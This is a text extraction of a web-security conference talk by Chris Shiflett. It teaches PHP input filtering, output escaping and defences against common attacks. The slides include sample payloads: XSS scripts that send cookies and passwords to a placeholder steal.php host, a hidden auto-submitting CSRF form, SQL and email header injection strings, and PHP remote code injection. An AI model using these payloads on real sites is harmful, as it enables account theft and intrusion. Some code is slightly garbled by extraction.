Evolution of Web Security

Chris Shiflett
@shifletti shifletti.org
Who am I?

Web craftsman from Brooklyn, NY, and founding member of Analog, a web design & development co-operative.
1. Fundamentals
Three Principles

- **Defense in depth**
  - Redundant safeguards are valuable.

- **Least privilege**
  - Grant as little freedom as possible.

- **Least complicated**
  - Complexity breeds mistakes.
Two Practices

- **Filter input.**
  - Ensure data coming in is valid.

- **Escape output.**
  - Ensure data going out is not misinterpreted.
Filter input. Escape output.
<?php

$clean = array();

if (ctype_alpha($_POST['name'])) {
    $clean['name'] = $_POST['name'];
} else {
    /* Error */
}

?>
<?php

$clean = array();

switch ($_POST['color']) {
    case 'red':
    case 'green':
    case 'blue':
        $clean['color'] = $_POST['color'];
        break;
    default:
        /* Error */
        break;
}

??
<?php

$clean = array();

(colors = array('red', 'green', 'blue');

if (in_array($_POST['color'], $colors)) {
    $clean['color'] = $_POST['color'];
} else {
    /* Error */
}

?>
<?php

$clean = array();
$colors = array();

$colors['red'] = '';
$colors['green'] = '';
$colors['blue'] = '';

if (isset($colors[$_POST['color']])) {
    $clean['color'] = $_POST['color'];
} else {
    /* Error */
}

?>
<?php

$clean = array();

if (preg_match('/^\d{5}$/',
              $_POST['zip'])) {
    $clean['zip'] = $_POST['zip'];
} else {
    /* Error */
}

?>
<?php

/* Content-Type: text/html; charset=UTF-8 */

$html = array();

$html['user'] = htmlentities($clean['user'], ENT_QUOTES, 'UTF-8');

echo "<p>Welcome, {$html['user']}.</p>";

?>
Exploits

- Cross-Site Scripting
- Cross-Site Request Forgeries
- SQL Injection
- Session Fixation
- Session Hijacking
- Email Injection
- Remote Code Injection
Cross-Site Scripting

1. Attacker → XSS → Target
2. Target → HTML XSS → Victim
echo $_GET['user'];

http://host/foo.php?user=%3Cscript%3E...

echo '<script>...';
Steal Cookies

<script>
    document.location = 'http://host/steal.php?cookies=' + encodeURI(document.cookie);
</script>
Steal Passwords

<script>
document.forms[0].action = 'http://host/steal.php';
</script>
Steal Saved Passwords

<form name="steal" action="http://host/steal.php">
<input type="text" name="username"
      style="display: none" />
<input type="password" name="password"
      style="display: none" />
<input type="image" src="image.png" />
</form>
Short & Simple

<script src="http://host/evil.js"></script>
Character Encoding

$string = "<script>alert('XSS');</script>";
$string = mb_convert_encoding($string, 'UTF-7');

echo htmlentities($string);

Google XSS Example
http://shiflett.org/blog/2005/dec/google-xss-example
Stop It!

- FIEO.

- Use valid HTML.
  - http://validator.w3.org/

- Use existing solutions.
  - PHP developers, use htmlentities() or htmlspecialchars().
  - Make sure you indicate the character encoding!

- Need to allow HTML?
  - Use HTML Purifier, even if you’re not using PHP:
    http://htmlpurifier.org/
Cross-Site Request Forgeries

Attacker $\rightarrow$ ? $\rightarrow$ Victim $\rightarrow$ CSRF $\rightarrow$ Target

1

2
Because the attack is carried out by the victim, CSRF can bypass:

- HTTP auth
- Session-based auth
- Firewalls
- &c.
Buy

<form action="buy.php" method="post">
  <input type="hidden" name="isbn" value="059600656X" />
  <input type="submit" value="Buy" />
</form>

POST /buy.php HTTP/1.1
Host: host
Cookie: PHPSESSID=1234
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

isbn=059600656X
Forging GET

GET /buy.php?isbn=059600656X HTTP/1.1
Host: host
Cookie: PHPSESSID=1234

<img src="http://host/buy.php?isbn=059600656X" />
Forging POST

```html
<iframe style="visibility: hidden" name="secret"></iframe>
<form name="buy" action="http://host/buy.php" method="post" target="secret">
<input type="hidden" name="isbn" value="059600656X" />
</form>
<script type="text/javascript">document.buy.submit();</script>

POST /buy.php HTTP/1.1
Host: host
Cookie: PHPSESSID=1234
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

isbn=059600656X
```
CSRF Exploits

Amazon (Fixed?)
http://shiflett.org/amazon.php

Digg (Fixed)
http://4diggers.blogspot.com/
Steal Cookies (Improved)

```html
<script>
new Image().src = 'http://host/steal.php?cookies=' + encodeURI(document.cookie);
</script>
```
$token = md5(uniqid(rand(), TRUE));
$_SESSION['token'] = $token;
$html['token'] = htmlentities($token, ENT_QUOTES, 'UTF-8');

<input type="hidden" name="token" value="<?php echo $html['token']; ?>" />
SQL Injection

1. Attacker → SQL → Target

2. Target → SQL → Database
SELECT count(*)
FROM users
WHERE username = '{$_POST['username']}'
AND password = '…'

SELECT count(*)
FROM users
WHERE username = 'chris' /*'
AND password = '…'

SELECT count(*)
FROM users
WHERE username = 'chris' /*'
AND password = '…'
Stop It!

- FIEO.
- Use prepared statements.
  - PHP developers, use PDO.

`addslashes()` Versus `mysql_real_escape_string()`

http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string
Session Fixation

http://host/login.php?PHPSESSID=1234
Stop It!

- Regenerate the session identifier.
  - PHP developers, `session_regenerate_id(TRUE)`.

- Do this whenever the privilege level changes.
Session Hijacking

- Attacker impersonates a victim.
- In PHP, by default, only requires a valid session identifier.
- Session identifier obtained using:
  - Prediction
  - Capture
  - Fixation
Stop It!

- Understand how sessions work.
- Minimize session identifier exposure.
  - SSL
  - Separate domain for embedded resources
- Trending
  - https://panopticlick.eff.org/
  - More on this later...
Email Injection

```
mail('chris@example.org', 'Feedback', '...', "From: {$_POST['email']}\n"");
```

```
fake@example.org\n\nBcc: victim@example.org\n\nBcc: ...
```

```
To: chris@example.org
Subject: Feedback
From: fake@example.org
Bcc: victim@example.org
Bcc: ...
```
Stop It!

- FIEO.
  - http://iamcal.com/publish/articles/php/parsing_email
  - PHP developers, use ctype_print() as defense in depth.
Remote Code Injection
include "$_COOKIE['type']}.php";

Cookie: type=http://host/inject.inc?

include "http://host/inject.inc?.php";
Remote Code Injection

- This example exploits allow_url_fopen.
- PHP 5 has allow_url_include.
  - By default, allow_url_include is disabled.
include "$_GET['type'].php";

POST /script.php?type=php://input%00 HTTP/1.1
Host: host
Content-Type: application/x-www-form-urlencoded
Content-Length: ?

include "php://input";
Stop It!

- **FIEO.**
  - If at all possible, use a white list.
2. Emerging Trends
“The name is shorthand for Asynchronous JavaScript + XML, and it represents a fundamental shift in what’s possible on the Web.”

— Jesse James Garrett
Ajax

“Client-side techniques & technologies that allow two-way communication between the client and the server without reloading the page.”
Cross-Domain Ajax

1. XMLHttpRequest
2. HTML form + victim’s token
3. XMLHttpRequest + victim’s token
XSS + Ajax + CSRF

1. XMLHttpRequest
2. HTML form + victim’s token
3. XMLHttpRequest + victim’s token
Worms

- XSS is a perfect platform for CSRF.
- CSRF attacks can exploit XSS vulnerabilities.
- Victims can become attackers.
- Rinse. Repeat.
Browser Hijacking

http://shiflett.org/blog/2006/oct/using-csrf-for-browser-hijacking

Myspace CSRF and XSS Worm (Samy)

Cross-Domain Ajax

Thanks, Flash!

```xml
<cross-domain-policy>
  <allow-access-from domain="*"/>
</cross-domain-policy>
```
## Cross-Domain Ajax

<table>
<thead>
<tr>
<th></th>
<th>domain=&quot;*&quot;</th>
<th>API domain</th>
<th>Vulnerable?</th>
</tr>
</thead>
<tbody>
<tr>
<td>Yahoo!</td>
<td>No</td>
<td>yahoo.com</td>
<td>No</td>
</tr>
<tr>
<td>YouTube</td>
<td>No</td>
<td>youtube.com</td>
<td>No</td>
</tr>
<tr>
<td>Flickr</td>
<td>Yes</td>
<td>api.flickr.com</td>
<td>No</td>
</tr>
<tr>
<td>Adobe</td>
<td>Yes No</td>
<td>adobe.com</td>
<td>Yes No</td>
</tr>
</tbody>
</table>
JavaScript Hijacking

1. Attacker → ?
2. Victim → CSRF
3. CSRF → Target
4. Attacker ← ?
<script src="http://host/json.php"></script>

[{
"email": "chris@shiflett.org"
}]

JavaScript Hijacking Demo
http://mochikit.com/fortify_fud/
JavaScript Hijacking

“If you audit your application for CSRF flaws, you’ve defeated this attack. Moreover, the well-known, pre-existing exploits for CSRF are actually worse than this attack.”

— Thomas Ptacek
3. Ideas for the Future
“When you visit a web site, you are allowing that site to access a lot of information about your computer’s configuration. Combined, this information can create a kind of fingerprint — a signature that could be used to identify you and your computer.”

Panopticlick
https://panopticlick.eff.org/
“Not the intent, but Panopticlick from @eff would be useful for preventing session hijacking.”

— http://twitter.com/shiflett/status/8562663352
Trending

- Establish trends to help detect anomalies.
- Trends can be based on identity or behavior.
- Trending is imperfect; use as defense in depth.
Slides

http://slideshare.net/shiflett

Feedback?

- Follow me on Twitter.
  – @shiflett

- Comment on my blog.
  – shiflett.org

- Email me.
  – chris@shiflett.org

- Work with me.
  – analog.coop